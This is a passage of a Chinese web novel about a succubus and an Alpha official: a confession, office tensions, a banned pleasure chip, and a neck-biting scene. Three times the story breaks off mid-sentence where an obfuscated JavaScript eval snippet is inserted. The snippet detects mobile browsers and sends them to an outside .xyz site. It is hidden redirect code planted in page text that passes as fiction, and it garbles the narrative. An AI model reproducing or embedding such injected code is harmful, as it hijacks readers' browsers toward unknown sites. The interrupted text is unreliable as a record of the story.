莓陵又道,“温迟,要是你不送我八音盒,我可能要晚点告诉你,但……你送了我八音盒,我就等不及想要告诉你,来楼下的咖啡店可以吗?” 温迟心间微动,隐约有两分猜测,试探问,“去楼下做什么?” 莓陵:“你下来就知道了。” 温迟挂断电话,着急下楼。 推开咖啡店的门。 鲜花和气球铺满咖啡店,这次布置比起白竹居的那次稍显逊色,但周围的白菊花和碎冰蓝玫瑰的配色却比白竹居的审美高上几个档次。 店内驻唱台上,莓陵抱着吉他,在等他。 温迟没说话,但莓陵却从温迟的表情上读出他想问:你会唱歌。 会的。 学点小花招讨好人类,进而同他们谈一段恋爱,获取他们身上的□□,是魅魔的必修课程之一。 于是,温迟听莓陵拨动琴弦,唱了第一句,“Heartbeatsfast,colorsandpromises.Howto……” 莓陵的嗓音,很好听,软软绵绵的,容易让人联想到慕斯蛋糕。 蔓越莓慕斯。 像是重新再认识她那样特别,莓陵这个人是本悬疑小说,每当他认为已经找到凶手,往下翻又会出现新的嫌疑人,跌宕起伏的情节,吸引着他不停往后翻,最终找到故事的答案。然而,莓陵不是小说,她的故事没有结局。 温迟不喜欢没有结局的故事,这会让他有轻微的失控感。 这种感觉好像在听莓陵在唱歌,他的心,分明还在胸腔里,还属于他身体的一部分,此时此刻,却不受他控制,正如歌词里唱的那样,疯狂躁动。 失序的心跳声在莓陵手捧鲜花靠近时,达到顶峰。 他看见莓陵的唇在动,她在说话,他什么都听不见。 温迟全身的感官和力量都用来克制自己,克制自己不要抢在莓陵说完表白之前,提前说出那句,我愿意。 “温迟,做我男朋友好吗?” 他死死咬住舌尖,下颚线紧绷着,攥紧拳头,堪堪维持应有的风度说了句,“嗯,可以。” 11. 吃十一口 至于那晚后面发生的事,莓陵不记得了,只记得温迟和部门同事喝了点酒。 强迫她在车上喝了很多奶。 吻她的时候很凶,还一遍遍说,“莓陵,以后不许唱歌……” 她答应,温迟不高兴。 她不答应,温迟也不高兴。 到最后温迟贴在她颈侧小声道:“只能唱给我听。” 莓陵不理解,但尊重,“好。” 接着,温迟给了她一份文件—— 财产转移文件。 刚表白收到财产转移文件,莓陵下意识认为是温迟本人的财产,“温迟,你不用这样。” 温迟笑着,“你想多了,我的财产不是这30多页纸可以列完的。”他捏着她的耳垂,“想要我的财产,看你表现。” 莓陵放下心来,打开文件发现是白竹居的财产转移文件,“你把白竹居买下来了?” 太有钱了吧! “现在,它是你的。之前的经理已经撤了,你随时可以选个你喜欢的人上台。”温迟喝了点酒,说话都不绕弯子,“为了让你那榆木脑袋知道我在做什么,我得告诉你,我在给你撑腰。” 他说话的时候,用手撩拨她的耳侧,又痒又麻。 “可是经理没欺负我啊,她还让我住阁楼了。” 她人挺好的。 温迟:“小傻子,那就是欺负。正常人不会让实习生住阁楼,很危险。” 莓陵:“这样啊,我还以为那是特别的奖励。” 温迟:…… “谢谢你,温迟。” 温迟不说话,低头吻她。 “温迟,我嘴有点麻……” 他亲吻她侧颈。 “温迟,别咬我……” …… 托温迟特殊体质的福,莓陵被喂得饱饱的,都懒得勾引温迟和她上床。 除了体质特殊以外,莓陵觉得,还有其他原因,让她不想引诱温迟上床。 具体是什么原因,莓陵还不清楚。 也没空想明白。 因为温迟生气了。 很突然的不和她见面,冷落她,还给了她很多工作任务。 “我错了。”莓陵站在温迟办公桌旁边,熟练道歉,哪怕她也不知道她为什么要道歉。 温迟呵呵两声,阴阳怪气道,“你没有错,你怎么会犯错,肯定是我错了。” 莓陵不喜欢听温迟这样说话,她蹲下来,趴在温迟腿上,看温迟的眼睛,“温迟……” 审查长大人坚定不移…… 莓陵用脸颊蹭了蹭他的腿,“是我让你不高兴了?你告诉我,我会改。” 她想让温迟高兴。 哪怕魅魔守则里没有这条要求。 审查长依旧坚定不移…… “温迟……” 审查长坚定不移……坚定不移了一小会儿,败下阵来,捏了捏她的脸,“别撒娇,出去。” “温迟……” “别叫我名字。” 莓陵不肯走,还趴在温迟腿上,“那我叫你什么?男朋友,亲爱的,宝贝,宝宝……还是……老公?” “莓!陵!” 温迟腾得站起来,脸通红。 莓陵以为他被气到了,吓得一退三步远,“好了,好了,我不说了,你别生气,我出去了。” “站住!”温迟把人拉回来,按在怀里揉捏,想狠狠咬她耳垂,张开嘴变成了含,含着她的耳垂咬牙切齿,“你真的是魅魔吗?” “你终于相信我是魅魔了!” 莓陵趴在他怀里,嗅闻温迟的味道,她可是货真价实的魅魔呢! 温迟又咬了她一口,意味不明暗示,“那你怎么不做点……魅魔喜欢做的事。” 魅魔喜欢做的事。 不同的魅魔喜欢做的事都不一样。 而莓陵,“温迟,我喜欢做的事就是让你高兴。”她垫脚贴近温迟的侧颈,露出自己脆弱的脖颈,让他咬,“温迟,你教教我,怎样才能让你高兴。” 过于纯粹的眼,温迟很难说出真实的想法—— 譬如,他想要做点Alpha想做的事。 又如,他想要顺从“天使温迟”的欲念,标记莓陵。又想依照“恶魔温迟”的意愿,克制对待莓陵。 这种复杂又强烈的情感让温迟无所适从。 只好选择冷处理。 偏偏在冷处理的同时,他又渴望莓陵能够明白他隐蔽、不堪的心思,渴望她主动掉入他用欲念编织的网里。 不得不说,莓陵这句话,成功取悦了一个求而不得的Alpha。 “教你?”温迟的唇游走在莓陵的皮肤上,声音都变得炽热,“你不是知道,怎样能让我高兴。” 莓陵歪歪头,想了片刻,点头,“我知道了!你等等我,今天晚上,我就会让你高兴的!” 晚上…… 模糊且暧昧的词。 是个良好的开端。 或许这只不解风情的魅魔明白了他的意思。 温迟挑眉,满意摸摸她的头,“我等着。” 莓陵点点头,出了办公室。 温迟快速处理好手头的工作,期待夜幕降临。 他等啊等…… 等来了提前下班的通知,同时还有,明天,不用上班…… 又是个好信号。 今晚太过的话,明天确实上不了班。 这么一想,温迟的后颈就开始发疼,胸口也疼。 没犹豫,他提前下班回家,经过莓陵所在的办公室时还特意停留,发现莓陵正在专心工作。 算了,不着急把她接回去,既然莓陵说有安排,那他只需要等着。 等到温迟洗好澡,选好衣服,又让人送了新鲜牛排,等着莓陵出现。 七点三十六分…… 怎么还这么早。 百无聊赖看了本小说,莓陵还没出现。 他等不及了,正要给莓陵打电话,门铃响了,他拨通电话朝门口走。 送货机器人把东西放在温迟家门口,“感谢您信任一路快递,祝您生活愉快!” “温迟。”莓陵接通电话,“你收到了吗?” “你人呢?”温迟取走快递拆开,得知是莓陵送的,他脸色有所缓和。 莓陵疑惑,“我?我在家啊。” 温迟立刻意识到,自己又高估这位傻魅魔的理解力了…… 啪的一声把电话挂断。 莓陵眨眨眼望着黑掉的屏幕,还是打了个电话过去,“温迟,你不高兴吗?” “我应该高兴?”温迟反问。 莓陵:“可是,我帮你把工作都做完了,让你提前下班,还拥有了一天假期,你不高兴吗?你不是最不喜欢加班了吗。” 温迟呵呵两声,“喜欢,太喜欢了。” 莓陵:…… 听起来不像喜欢的样子。 没关系,她还有杀手锏,“礼物呢?你收到了吗?你打开看看,你肯定会喜欢的!” “一张小卡片?” 莓陵摇头,“不,这不是普通的小卡片,这是——” “芯片。”温迟认出来了,善意提醒,“这是A级违禁品。” 莓陵:“我知道。” 她唯二能想到让温迟高兴的事—— 一、不让他加班。 二、带温迟做点违反规则和法律的事。 温迟说过,喜欢一个人,就要带他做点违法的事。 这件事不能超过联邦法律的界限,也不能是遵纪守法、毫无新意的事。 莓陵冥思苦想,想到了芯片。 联邦306年,法律规定禁止在任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502963|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何场合使用内置芯片。 曾经,内置芯片问世,获得各大投资商的喜爱,它被认为是人类新科技的转折点,只要在大脑内植入芯片,人类就可以实现无痛学习各种知识,无需努力,只需要买上这张小小的卡片,人类就拥有改变世界的认知。 内置芯片当即被人类称之为第三次科技革命的重要成果。 然而,好景不长,不到一年的时间,芯片出问题了。 植入芯片的人类会受到不可抗力的影响变得残暴、易怒、甚至有自残的倾向。 犯罪、暴力、虐杀事件频发。 芯片原材料逼迫人类过度开采矿材,环境恶化。芯片使用者相互残杀,人类生存环境压缩,出现严重的生存危机,整个人类世界被芯片搞得乌烟瘴气。 最终,联邦政府出面,以强有力的手段禁止芯片生产、使用。 恢复了五年,人类才从惊恐中走出来。 芯片也随新法律一起被视为避之不及的违禁品。 当然,芯片除了内置知识以外,还有一个重要作用—— 幻境。 当芯片插入大脑,脑海里所有幻想的东西都能如现实般出现在眼前。使用芯片,人类就能像造物主那样伟大,创造一个又一个新奇、又符合人类心愿的世界。 这对于人类而言,是难以拒绝的诱惑。 “从哪里弄来的?” 温迟的声音听起来还是不大高兴,莓陵老老实实回答,“下城区。” 温迟声调忽然升高,“你去那地方了?” “没有,只是线上交易。”明显感觉到,听筒那边的温迟松了口气,莓陵认真和温迟推销,“这个东西能让你的大脑分泌比□□时高十倍的多巴胺,把时间控制在半小时内,你会获得更多的快乐!会很开心的!” 温迟的声音还是不咸不淡,“哦,我更想……” 信号不好,卡了卡,莓陵没听见温迟说话,“你说什么。” “没什么。” 莓陵笑了笑,“温迟,芯片我使用过一次,里面存了一份我想给你看的礼物,希望你会喜欢。” 说完,她挂断电话。 温迟握着手机呆滞在原地,莓陵一定不知道,同时使用一张芯片,对他这个来自未来世界——那里频繁使用芯片,且没有任何意外发生的人意味着什么。 共享芯片,是伴侣间信任到一定程度,在极尽欢愉的时刻才会做出来的刺激事。 这个相当香艳的行为,被ABO称之为—— 神交。 从其中所获的的快感,确实如莓陵所言,多十倍的多巴胺。 但,介于莓陵呆傻的性格,以及她对芯片浅薄的了解,他并不对莓陵率先给他构建的世界抱有任何过于旖旎的幻想。 拿出芯片贴在耳后,随着机械音落下,温迟进入芯片世界。 目之所及,绿树成荫,草木葳蕤,点点白花点缀在草地上,两岸桃花绽放,正是赏春的好季节。 “喜欢吗?” 莓陵忽得从他侧面出现,双手交叠在身后,笑容明媚。 这是莓陵捏的模型。 “我特意捏了模型陪你,尽量还原了原本世界的我,这是我根据网站记载创造早期人类世界的样子,据说那时候植物和动物都很多,不知道你喜不喜欢。”莓陵拉起他的手,“对了,为了更好配合你游玩这个世界,这具模型可以随你处理,你可以和她做任何事情。” 前面的,温迟一句没听,他只抓住了最后一句—— 【任何事情。】 他转头攫住这具模型的眼,同样的金眸,同样呆滞的表情,同样让他着迷的脸。 除了没有信息素,一切近乎完美。 温迟捏住她后颈,声音哑了,“什么事都可以?” “嗯,都可以的。” …… 12. 吃十二口 “滴!滴!滴!” 内置芯片提醒:【使用时间过长,请注意休息!使用时间过长,请注意休息!使用——】 温迟扯下内置芯片,甩了甩汗津津的黑发,泄力般靠在沙发上,胸口剧烈起伏,充满欲念的眼里带着发泄后的舒畅感。 捏着那块小小的芯片,Alpha嘴角上扬,“明天不上班……确实不错。” 休息几分钟,温迟再一次把芯片放在耳后。 …… 次日。 莓陵发现温迟没过来上班,初步认为他应该很喜欢那份礼物。 又过了一天,温迟还没来上班…… 莓陵有点担心,去找人,温迟开门时难得心虚,揉着细碎的短发把人堵在门外,“有事?” 莓陵翕动鼻翼,“温迟,你……” “闭嘴!不许说出来!”温迟打断她的话,她肯定都闻到了,房间里都是糜烂液体的味道。 莓陵微怔,拿出手机给温迟发文字,【你是胸口胀吗?可以给我喝吗?】 房间里都是温迟的香味,铺天盖地的沉香像密不透风的网,死死缠绕着她。 这样浓郁的味道,让她觉得非常饿。 吃一口吧! 好饿…… 疏解好的温迟竟又觉得胀疼,不止胸口,浑身上下都疼。 而此时,温迟才后知后觉意识到,莓陵无可替代。 哪怕模型再怎么像,哪怕芯片模仿多巴胺释放的快感多么强烈,都比不上抱住莓陵……带来的兴奋感。那是如触电般的刺激,直击后脑勺,又迅速延伸至四肢百骸,身体止不住颤抖。 “……咬重点!” 莓陵顺从,但考虑到人类的脆弱性,莓陵没有伸出尖牙,只是含得重了些。 哪怕如此,结束后温迟的眼还是如红石榴般透亮。 餍足后的温迟躺在沙发上,手指都懒得动弹,能感觉到莓陵的视线始终注视着他,上半身赤裸的他,难得的温迟觉得不舒服,终于忍不住问,“有事?” 莓陵眨眨眼,点头。 温迟望着莓陵的眼,心头发颤,又缓又慢引导,“什么事?” 现场异常暧昧,空气中浓腻香甜的味道,温迟此时饱蘸情欲的眼,都暗示着莓陵,应该说些符合这场景的话。 譬如说,继续。 又譬如说,吻温迟。 然而,吃饱喝足后的莓陵脑子转得很慢,不解风情说了句,“您一点钟约了贾部长,不能迟到。” 贾部长就是之前的贾委托人。 原名贾旭。 也是为了配合之前温迟的隐藏任务特意给自己编了个委托人的身份,实际上,他是隶属于联邦政府最高组织部执行长。 从上次约好要见面到现在,温迟和贾旭的见面会已经推迟了三个月零五天。 真的不能再推了! 温迟凝视着莓陵,扑哧一声笑了,“我也真是……不能太高估你。” 后面一句莓陵没听清,因问,“您说什么?” 温迟起身去浴室,摆摆手道,“没什么,我洗个澡很快出来。” “好。” 约莫半小时后,温迟从浴室里出来,换了身剪裁得体的藏蓝色西装,禁欲和暴戾两个词冲进莓陵的大脑,禁欲的天使和暴戾的恶魔,矛盾的特质杂糅在温迟身上,格外引人注目。 莓陵真诚夸赞,“您穿西装很好看。” 温迟勾起嘴角,故意般往左往右来回晃荡,确定莓陵的视线跟着他来回移动,他心情莫名好。 “走了。小傻子!” 莓陵恍如大梦初醒,“哦,好,走吧。” 这次,她来开车,“温队,您放心,我已经考了驾照了!这次可以我来开。” 握住方向盘的时候,莓陵手指在发抖,她有点紧张——她第一次有驾照开车! “上次没驾照还不系安全带都开到两百多码,现在,你是在担心什么?”温迟声音冷冷的,“开吧,有事我给你兜底。” 莓陵:“温迟,你真好。”她又想起上次那辆,被代驾碰过的车,“上次那辆车,还在吗?” 温迟:“不要了,准备卖掉。” “卖给我吧,多少钱?” 温迟无情拒绝,“你买不起。” 莓陵:…… “我把您送到门口,您自己开回去,我下午还有工作,可以吗?” 温迟面无表情,“下午要进行助理培训?” 莓陵点头,“嗯,以后晚上都要加班培训了。” 联邦新入职的正式助理都需要进行晚间培训。 她说完这句话后,温迟没再说话,两人一路无话。 到了约定地点后,莓陵有幸见到那位贾部长一眼,味道和温迟一样好闻。 当即,她就确定,这是她第二个目标对象。 贾家公子哥,贾旭。 之前一直在外出差,最近才回来,任务的内容和地点保密,难怪莓陵一直找不到他。 她不准备对他下手。 比较起来,她还是更喜欢温迟的味道。 至于魔界给魅魔定下一年攻略3个男人的目标…… 还有时间,不着急。 “那我先走了。”莓陵准备转身离开,温迟叫住她,扔给她一把车钥匙。 这把车钥匙同莓陵第一次拿到的车钥匙一模一样,但比上次的更新,没有任何划痕,像是刚买回来的。 莓陵诧异,“这是……” 温迟摆摆手,“送你了。” 莓陵:“温迟!” 温迟受不了莓陵过于真诚的眼,视线下移,“知道了,知道了!赶紧走!” 见到地下停车场里崭新的车,莓陵才有了温迟送了她一辆新车的实感。 莓陵高兴之余,还对这辆车产生了好奇,“人类的脑子里到底都在想什么呢?怎么会设计出这么精巧的东西?” 她都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502964|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想把车拆开看看,但她没空。 甚至她连开这辆车的机会都没有。 因为,她被迫住在单位了。 “你是住在单位了吗?”温迟打电话时的语气不耐烦,“让你加班就加班?你自己说说这都是第几次通宵加班了?” 莓陵握着手机打哈欠,“快一周了……时间过得好快啊。抱歉啊,我也没办法,这是联邦助理部的规定,是统一要求。” “一周……”温迟长叹一口气,“我TMD都不知道你怎么忍下来的,你就没有质疑过这个规定很不合理吗?” 莓陵:“怎么会,规则不就是用来遵守的吗?” 温迟反问,“你想不想加班?” 当然不想。 通宵加班让莓陵感到难过的是不能回家。 她把全部的工资都用来布置她的小家,每天晚上,无论多晚回到家,踏进门的那一刻,莓陵都能感觉到,她干瘪匮乏的身体一点点被填充完整,肌肤也能焕发生机,沮丧的心情也逐渐恢复。 人类的小家是她最喜欢待的地方。 没有之一。 要是可以选择,莓陵当然想早点下班。 温迟得到确定的答案,留下一句,“等着,我过来接你。”啪嗒一声把电话挂了。 约莫十五分钟后。 莓陵在助理部办公室门口见到温迟的身影。 彼时,坐在最上方的还有助理部的领导,头秃肚圆,正在监工,确认他手下的人没有在偷懒。 余光撇瞥见温迟出现,助理部的领导起身,笑得谄媚,“审查长,是什么风把您吹来了!好久不见啊!” 温迟和秃头男寒暄几句,秃头男心领神会,转头对莓陵喊,“31125,出来吧。” 在一种好奇、嫉妒、羡慕的眼神中,莓陵像第一个被家长接回家的幼儿园小朋友一样自豪,大步朝着温迟走去。 “温迟。” 秃头男本想给莓陵美言几句,在温迟面前换个好印象。 然而,温迟不予理会,拉着莓陵就走,还弯下腰温声问她,“饿不饿?” 莓陵摇头。 但瞥了眼温迟的胸口,又点头。 温迟笑了,很满意莓陵的反应,捏捏她的脸,“走吧。” 莓陵指着秃头男问温迟,“不加班了吗?” 温迟又笑了,这次的笑容不如对莓陵笑的时候那样温柔真实,而是带着威胁的味道,他问秃头男,“李部长,我的人我先带走了,没问题吧?” 秃头男被迫塞了一嘴狗粮,还不能多说一句不是,连点头,“没问题!没问题!” 莓陵跟着温迟走出老远,转头看秃头男还站在门口目送他们离开,她问温迟,“确定就这么走了吗?” “你明天可以更早走。” 莓陵笑了,忽然心情变得很好,想到她即将回去见到她的小家,她就迫不及待想要和温迟分享此时此刻的快乐,“温迟,你要去我家吗?” 13. 吃十三口 “你知道你在说什么吗?”温迟盯着莓陵问。 成年人之间,说出邀请对方去她家的话,无疑是明示。 甚至两人还是男女朋友的关系。 然而,考虑到莓陵之前锈迹斑斑的战绩,温迟不对莓陵抱有任何幻想。 “我知道,我在邀请你去我家,我家非常漂亮。”莓陵一字一句道。 温迟环胸看着莓陵,捏了捏指关节。 去她家的话…… 他会忍不住做其他的事。 平常倒可以装模作样,可真到了她家,他免不了要心猿意马。 温迟难耐咽了咽,“……不了。” 莓陵好像没听到他那句话,打开车门,转头对他笑,“走吧,我开车。” 莫名其妙的,温迟上了副驾驶,来到莓陵所谓的漂亮的家。 这一路上,他听莓陵孜孜不倦描述她家的窗户有多明亮宽敞,窗台上还种着几株栀子花。 “它们很好养活,是我为数不多种活的品种。它们正在开花,夜风拂来的时候,香味弥漫在整个房间里,很好闻。当然,最好闻的还是温迟。” 温迟听着笑了,“听起来,你很喜欢种花花草草。” 莓陵抿唇笑着摇头,“我不仅喜欢种花种草,我喜欢人间所有的一切。你看!” 她用下巴指着前方,他们正在下坡,处于高地的位置,能看到硕大的月亮坠在海面上,水面波光粼粼,河面上城市的婆娑倒影随着风摇晃,流萤的灯光点缀在城市中央,那是莓陵最喜欢的夜景。 她的神色染上无尽的向往,“温迟你看,多美啊。人类把这种血液从心口往四周溢开的感觉叫做幸福。温迟,你不知道我有多幸福!” 温迟顺着莓陵的视线往前看,在莓陵平淡声线的描述里,他被莓陵感染了,又或许她本就有操纵情绪的能力。 温迟道,“那就靠边停车,我们在这里看看再走。” “可以吗?”莓陵问的时候,已经把车停下来了。 温迟没说话,解下安全带,等着停车。 莓陵停下。 两人坐在后备箱上,吹着夜风。 莓陵享受闭着双眼,金色的卷发被风扬起,铺在脸上像密密的网,他挣不开。温迟忽然变得平静,轻声反问,“你总能找到让你觉得幸福的事,你告诉我怎样才能和你一样。” 莓陵从美景中抽神,反问:“您觉得不幸福?为什么?” “当然不是……”温迟话头一转,“是,是觉得不太幸福。因为我想要一个人的回应,始终得不到。”他转头看莓陵,“你教教我,应该怎么办?” 从未想过有一天她能教给温迟什么,应该说,从未想过有一天温迟会为一个人这样苦恼。 那一定是个相当重要的人,莓陵仔细思忖,“如果是我的话,我会努力争取回应,我会努力讨好他,就像我追求你一样。” 讨好。 两个字在温迟嘴里滚了滚,心里便有了对策,“走吧,去你家看看。” 莓陵应了声好,一路飞驰到家。 打开带锈的铁门,温迟终于看见了莓陵嘴里夸得天花乱坠的房子。 房间不大不小,约莫五十个平方,宽敞的大开间,夜灯从落地窗外洒进来,不用开灯都足够把整个房间照亮。 能够想象到,白日里这里的采光会有多好。 房间里只有一张床,地方空旷得可怕。 这种空旷感让温迟觉得心悸,他蹙眉问她,“没有厨房吗?” 他只看到了浴室和床。 莓陵笑着说,“我不需要吃饭,对于你们人类来说必不可少的东西,于我而言并非必需品,我把所有的钱都花在落地窗上了。” 她对她落地窗下的植物如数家珍,哪怕它们好几盆都已经枯萎,“这是我第一次到人间买的多肉,买的时候很漂亮,肉片饱满,不过,给我养着养着,越来越瘦……还有这个,我那次见到白菊花的时候,觉得可以试着自己种一株,到时候送给你的时候都能骄傲说,这是我种的!只是,我不会种,它死气沉沉的……” 温迟的视线始终停留在莓陵蹲下来,无意间露出的雪白后颈上。 他感到恐慌,像失足踩空楼梯,一霎那的恐惧延续至今,并且有逐渐扩张的趋势。 和欲望没有关系,也绝对不是心动,更不是信息素躁动,那是一种难以描述的心颤感。 想逃! 几乎是毫不犹豫,温迟夺门而出,落荒而逃。 莓陵兴致勃勃介绍着她的草木,转头还想继续和温迟说说太阳花,背后空空如也,只剩大门敞开左右摇晃着…… 温迟走了。 温迟第二天给她送了套房。 比她的房间更大、更宽敞、更明亮。 莓陵很喜欢。 只是无法和温迟当面道谢,因为她太忙了。 不仅要忙着处理助理部的工作,还要负责应对复杂的人类。 比如说,面前这位扎着马尾辫的女性人类,正不怀好意打听着她和温迟的关系。 “你和审查长是真的吗?” “听说他不喜欢女的,你到底是怎么靠近他的?” “还是说你就是变性人?掏出来给我看看,我也确实没见过女人身上有那种东西。” 一阵讥讽的笑声传来,莓陵面无表情抬头,“据我所知,审查长的性取向是女。如果你认为她喜欢男性,无非是你的信息错误,或者是你还未达到审查长的审美标准,亦或者是你正在为无法成为审查长的伴侣在无能怒吼。3317,造谣犯法,我可以代替审查长起诉你。” 马尾女生笑,“诶,你好能干啊,还会起诉。”她把面前的文件都推到她面前,“那这些都给你做吧。” 说完,她高傲甩着她的马尾转身离开。 李部长也没想到会这样,一位是审查长的人,一位是联邦长的人,两边都惹不起。 思索片刻,他只好上前腆着脸安慰莓陵,“小陵啊,你也别怪小贾,你的工作效率非常高,这点工作你很快就能做完,况且……昨天你也提前走了,你的工作都分给了其他人,所以说……” 他干笑两声,意思不言而喻。 莓陵忽然发现眼前的人已经变了,锃亮的光头都显得油腻,哪怕面前的人不说,她也能感受到对方在施压。 然,莓陵并不在意,她更加介意的是,“您不是第一次让我帮她干活了。”她顿了顿,把文件扔回3317的桌上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502965|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明晃晃地拒绝,“这一次,我不想干了。” 李部长也呆住了,莓陵向来好说话,安排她做的事,无论是不是她的工作,她都能按时完成。 这在很大程度上让助理部所有人都轻松许多。 拒绝在李部长的意料之外。 “你——” “温迟会来接我。” 莓陵一句话把李部长后面想说的话堵住,她拨通温迟的电话,当着他的面道,“温迟,可以来接我吗?” 电话接通了,温迟没说话,等莓陵说完,他挂断电话。 这是来还是不来? 时间已到八点二十六分。 温迟很少在晚上出门,对于他而言,超过七点出门都意味着加班。 他最讨厌加班。 心里没底,莓陵收了手机,在李部长复杂的视线里淡定走出去。 她不信这位负责人还会跟着她去停车场! 一抹黑影紧随着她…… 还真跟上来了。 莓陵不慌不忙,正当她准备叫个代驾去开她的车,假装是温迟派司机过来接她时,低调的黑色轿车驶入停车场,温迟的味道越来越浓。 “温迟!” 温迟拉下车窗,越过莓陵看向后面站着的秃头,“李部长,有事?” 审查长出了名的脾气差、不好惹。 关键是人家位高权重,管理着整个联邦执行部门。虽说是一人之下的审查长,但实际上,联邦主席都使唤不动他。 索性,他本性并不坏,只是性格不好。 即便如此,助理部负责人毫无防备和他对视一眼,还是感到害怕。 犹如老鼠见了猫,李部长虚虚鞠躬一溜烟走了。 莓陵上车和温迟表达感谢,“温迟,谢谢你。” 温迟挑眉,驱车驶出停车场,“做得很好。” 不用猜都知道莓陵遇到了什么,她这种老实人,只会被人欺负。 稍微依赖他,利用他的身份做一些违反规则但不出格的事,让温迟心情愉悦。 这种愉悦感很大程度上缓解了他之前的恐惧。 莓陵:“那我有奖励吗?” “奖励?”温迟笑了,他还没要奖励,莓陵倒先开口了,“你想要什么?” 莓陵期待看向他,“我想再试试上次那个芯片。” 温迟喉结一滚,“……不行,太频繁了你的大脑受不了,小心真变成傻子。” 实际上是他把芯片玩坏了。 过度使用消耗完了芯片的寿命。 现在那块价值上万的芯片已经成了一块废铁。 莓陵有点失落,“好吧。” 温迟停车,手指摸索着方向盘,犹豫片刻再开口时,温迟耳朵红透了,他问,“你要试试其他的吗?” 其他的? “什么?” 温迟细长的手指抚上莓陵的后颈,用不轻不重的力道捏了捏。 车里的温度倏然攀升,如果忽略莓陵脸上依旧呆滞的表情,那一定是一段相当暧昧的场面。 温迟再开口的嗓音哑了几分,他靠近莓陵的唇,尽量用莓陵能听得懂的话说道,“让我标记你……我的意思的是,让我咬你、后颈。” 14. 吃十四口 通过Alpha犬齿注入人体的信息素具有致幻、迷惑的效果,能够麻痹人类的神经元,促使大脑大量分泌多巴胺,让人类的大脑短时间内进入Alpha制造的美妙幻境之中。 原本的作用是Alpha在标记时,控制Omega的重要手段之一。 其效果也的的确确如芯片一样特殊—— 能在大脑上产生比□□时高十倍的多巴胺。 莓陵没犹豫,撩开金发,露出后颈,“可以,你咬吧。” 她察觉到温迟的视线在她后颈处停留良久,良久…… 绵绸的呼吸铺洒在后颈,温迟包裹着她,以一种不容抗拒的姿势,莓陵并不认为人类的牙齿能够穿破皮质层进入血液之中,或许温迟只是想咬一口她的后颈编出的借口。 然而,感觉到不同于人类牙齿贴近皮肤,以冰凉陌生的触感靠近她后颈时,出于本能的恐惧,打了个寒颤。 也就是在这一瞬间,温迟的牙齿立刻没入后颈,像是害怕她逃走那般控制住她的身体。 莓陵呜咽一声,后知后觉发现自己已被温迟抱到主驾驶的位置,挣扎的瞬间无意触碰到方向盘,喇叭声响彻黑夜。 竟真能够咬破她的后颈,但温迟所谓的信息素应该无法影响她,毕竟,她不是普通人。 但…… 有点疼。 汗珠浸湿睫毛,用力眨眨眼,再睁开,眼前已不是车内的场景。 她看见温迟,小小的温迟,约莫两岁大,粉雕玉琢的模样,旁边站着的人和他有八分相似,或许是他的父亲。 他正在教小小的温迟如何拆卸军工枪。 “为了防止走火,要先把弹药卸掉。”温父的声音沉稳严肃,然而,小小的温迟注意力不在这把军工枪上,而是被旁边的花草吸引去了注意力。 顺着他的视线看去,郁郁葱葱的树荫下有一簇开放的水仙花,吸引三两只蝴蝶停留在上面。 这绝不是现在的人类世界。 水仙花早在芯片问世之前就已经消失了。 如果这里是温迟的记忆,那温迟绝对不是这个世界的人,他所处的世界很漂亮。 “去吧,去玩吧。”温父慈爱看向温迟,鼓励推了他一把。 温迟慢慢放松,扬起笑脸,扑向那簇水仙花。 随着温迟的视线,莓陵看到了她从未看到的景色—— 和煦的风、因风摇曳的银杏树、清澈见底的小溪和土灰色的青蛙。 比3D展示得更加鲜活,比图片上看到的更加生动。 她真实体验了一遍,树上描绘的自然世界。 “给我回来!” 一声严厉的女声响起,莓陵和温迟同时转头,见衣着华贵的妇人站在桥上瞪了温迟好几眼。 “花花草草是Omega才会玩的东西,温迟,你是Alpha,不需要有这些妇人之仁!听见了吗!” 温迟垂头走向桥,低声说,“是。” Alpha和Omega是什么? “性别。”温迟的声音在莓陵后方响起,替她擦拭大脑刺激后溢出的生理泪水。 短暂进入温迟制造的幻境后,莓陵又回到现实世界。 Alpha是性别。 如果说温迟不是这个世界的人,那么他身上的生理缺陷也能得到解释。 Alpha也许是一种会产奶的男性。 ——莓陵是这么理解的。 “那里很漂亮。”迅速理解了温迟话里的意思,给出了一个较为合理的夸赞,然后,她再次露出后颈,“我还想再看一眼。” 无疑是最甜美的邀请。 温迟的瞳孔猛地缩小,受到Alpha兽性一面的影响,他的瞳孔缩成一条尖细的线,露出猎物捕猎时的攻击欲。 几乎是毫不犹豫,他再次咬住莓陵的后颈,注入信息素。 Alpha的渴望如此强烈,份量相当足的信息素能够在莓陵身上留下一丝痕迹,哪怕只有细微得不能再细微的味道,他也会很高兴。 